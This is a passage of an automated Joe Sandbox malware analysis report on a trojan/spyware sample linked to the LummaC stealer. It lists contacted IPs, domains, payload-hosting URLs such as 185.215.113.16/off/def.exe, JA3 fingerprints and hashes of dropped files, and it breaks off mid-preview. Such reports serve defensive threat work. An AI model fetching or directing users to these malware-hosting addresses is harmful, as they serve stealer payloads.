https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	TdloJt4gY3.exe, 00000000.00000003.1471169328.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1448336604.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471346442.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496171660.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_105.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.11

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581618
Start date and time:	2024-12-28 09:55:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TdloJt4gY3.exe renamed because original name is a hash value
Original Sample Name:	2813aab84c7810610de640b20c7e4eea.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@17/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 172.217.19.227, 172.217.19.238, 64.233.161.84, 23.218.210.69, 172.217.17.46, 184.30.22.94, 192.229.221.95, 172.217.19.10, 172.217.19.234, 142.250.181.10, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.19.202, 172.217.19.170, 172.217.21.42, 2.19.198.56, 23.32.238.130, 172.217.17.35, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target TdloJt4gY3.exe, PID 7364 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:56:27	API Interceptor	69x Sleep call for process: TdloJt4gY3.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	726odELDs8.exe	Get hash	malicious	LummaC	Browse
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
s-part-0035.t-0009.t-msedge.net	726odELDs8.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	HGFSqmKwd5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	TbxHhK6lsS.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	MrIOYC1Pns.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	jPJaszTDNt.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
steamcommunity.com	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	N36e6JFEp6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	23.44.201.12
CLOUDFLARENETUS	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	j2nLC29vCy.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
WHOLESALECONNECTIONSNL	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	726odELDs8.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	173.222.162.42
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	173.222.162.42
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	173.222.162.42
	lem.exe	Get hash	malicious	Vidar	Browse	173.222.162.42
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	173.222.162.42
a0e9f5d64349fb13191bc781f81f42e1	3LUyRfIoKs.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	Tqa1vDp9NT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	YrWaRb0IKJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	2S6U7zz1Jg.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.157.254 23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	N36e6JFEp6.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:57:09 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.983605207972451
Encrypted:	false
SSDEEP:	48:8GKBQdLsTUNdLHhidAKZdA1nehwiZUklqehvty+3:8GOis4hGy
MD5:	6B584EF29BFD6EFEAAA1F2066B0ECAC2
SHA1:	1F17BE677873627C5AE6054126078363D7ABAFEA
SHA-256:	B2EB370EE23F9CCB3EE10146ADB2D2CF02E8400AB6A2CC916202F07D745E47D0
SHA-512:	8BF586BD6750806EBF5E47AA7D556F543D67A4CB4461078072F19A4C0A6C45BB46B20157BE7E02314A7BABFBF78D2986AA3D4FA82E9C15E2DC196E3D5CF556F0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...... z.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y%G............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:57:09 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9990944334733496
Encrypted:	false
SSDEEP:	48:8bKBQdLsTUNdLHhidAKZdA1geh/iZUkAQkqehwty+2:8bOis4N9Qby
MD5:	D09060C2ECDCE0777EE562DD0BD09F54
SHA1:	C5F139FC29DAFAC2CEA2AF7F824531A0E5276F9A
SHA-256:	57F56F3DBE11A2C321C63DE51DD647E30A8298453350EE67ED0A6DFB47504152
SHA-512:	C941C7966D9D89AB0A3858BFBF9B5B343BEE130658BE2028BFA2DB914DCC897B9D672CE272B6F23E9EF3E11A8C201D0951F7F770BF14FE900F821601BC6F9C9D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......z.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y%G............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 09:52:18 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.007189459188387
Encrypted:	false
SSDEEP:	48:87KBQdLsTUNdCHhidAKZdA148eh7sFiZUkmgqeh7s6ty+BX:87Ois48nqy
MD5:	630D070B066958181FFBA9E05B8949D7
SHA1:	C12D9BFFF3CC16D9E9FF5C04DA8C0C51F8FAB7EC
SHA-256:	EB32688C77A7F46E80515B5BC784DD0C9EFD6AED053CE54564CD79C302A86079
SHA-512:	0261B1DC72513E5528B1C7E9A6B4D4194065F3D52A76C3F7D2C03350E343C9C86C8F8681AFD0DAB1BB05B83C06576700AA2038E30AE7A4DDE35E75BDF74ECA21
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....s4..z.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.V............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:57:08 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9945605271687157
Encrypted:	false
SSDEEP:	48:8/jKBQdLsTUNdLHhidAKZdA1lehDiZUkwqeh8ty+R:8LOis4A8y
MD5:	BE363DF3324E67F5F232E4648AEB130C
SHA1:	084602FB7B58E28584A8D45FDB45434E6FA5781F
SHA-256:	0ADDF7113FE04AD16FCB5943C832DD5E0495704452CAE97BDF9F7EA3604FBF50
SHA-512:	C4B5E4C052E4BD850F5F826F0E79C349D4B9C703A975E10A825FA30E13750EA1B7B54F08DB08A253F96EECDE8C42105D180B73485D772E5BC4F44924761B4629
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....N..z.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y%G............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:57:09 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9860362682723993
Encrypted:	false
SSDEEP:	48:8eKBQdLsTUNdLHhidAKZdA17ehBiZUk1W1qeh+ty+C:8eOis4w94y
MD5:	470662ED389C5CC049756FEE4BF6B57F
SHA1:	BED5C24CA51CE53A3996B82A309A7739B660CC1B
SHA-256:	8809C8318AC52DDF5E01A542DC2B4C648BA1BCA6FADEF0198C4BDE2E0CD174FC
SHA-512:	46C4BD57A9C90F3E94937BF2DC4AC4C96CFDE13B458AFD225478E66957783B5D7F77417DB2D19FEF972EAA65B2D6E94BAE5989684EF4774036B004D804B83A2E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....u..z.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y%G............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:57:08 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9947519808632843
Encrypted:	false
SSDEEP:	48:8yjKBQdLsTUNdLHhidAKZdA1duTiehOuTbbiZUk5OjqehOuTbUty+yT+:8cOis4wTLTbxWOvTbqy7T
MD5:	6D202C621C5BF46963E6BE99C8067C84
SHA1:	1B0756C83CBEB33F7CAA6D06936C0C0D3078CDDF
SHA-256:	99B6E7E3C3A44B527F196BDCE9AF3FE6A81DB48B783B90CA4E737A4E4E72E725
SHA-512:	1DEF28C57F46DEF40816ABF7754C1A55DB21C15A9DAEE0684CEEA6EAD34525EEC16BEA696F5D4D6C20754BFA27B98125BAC40F42C818FF3F2B5B7AED029CDE25
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......z.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#G....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#G....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#G....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#G..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y%G............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. 